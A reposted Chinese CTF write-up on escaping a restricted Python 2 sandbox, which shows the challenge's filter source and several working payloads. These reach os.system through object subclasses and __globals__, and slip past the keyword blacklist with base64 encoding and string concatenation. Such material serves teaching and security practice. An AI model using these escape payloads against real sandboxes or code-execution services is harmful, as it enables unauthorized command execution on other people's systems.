CTF python沙箱逃逸进阶题目
生活随笔
收集整理的這篇文章主要介紹了
CTF python沙箱逃逸进阶题目
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
future引用了python3的新特性,所以是不能直接回回顯,得用print
file函數可以讀取。
print(().__class__.__bases__[0].__subclasses__()[40]('./sx2.py').read())讀取源碼后:
from __future__ import print_function banned = ["import","exec","eval","pickle","os","subprocess","kevin sucks","input","banned","cry sum more","sys" ] targets = __builtins__.__dict__.keys() targets.remove('raw_input') targets.remove('print') for x in targets:del __builtins__.__dict__[x] while 1:print(">>>", end=' ')data = raw_input()for no in banned:if no.lower() in data.lower():print("No bueno")breakelse: # this means nobreakexec data沒有ban reload函數,所以思路就是
reload(__builtins__) 可沒想到不知道為啥不行。然后想別的辦法。只禁用了builtins里的函數,那我們找<class 'site._Printer'>
payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os']).system('dir')(windows下,我的linux下是71)。可發現還是不行,原因是不僅僅把builtins里面的危險函數禁用了,還有關鍵字符一起禁用了(在最后的一個小的if判斷里面)
于是想到'os'變為'b3M='.decode('base64')最終的payload
print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['b3M='.decode('base64')]).system('dir')另外從別人那里偷來一句:
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))轉載于:https://www.cnblogs.com/zaqzzz/p/10260469.html
總結
以上是生活随笔為你收集整理的CTF python沙箱逃逸进阶题目的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: flask上下文管理机制
- 下一篇: Chrome 如何让光标快速定位到地址栏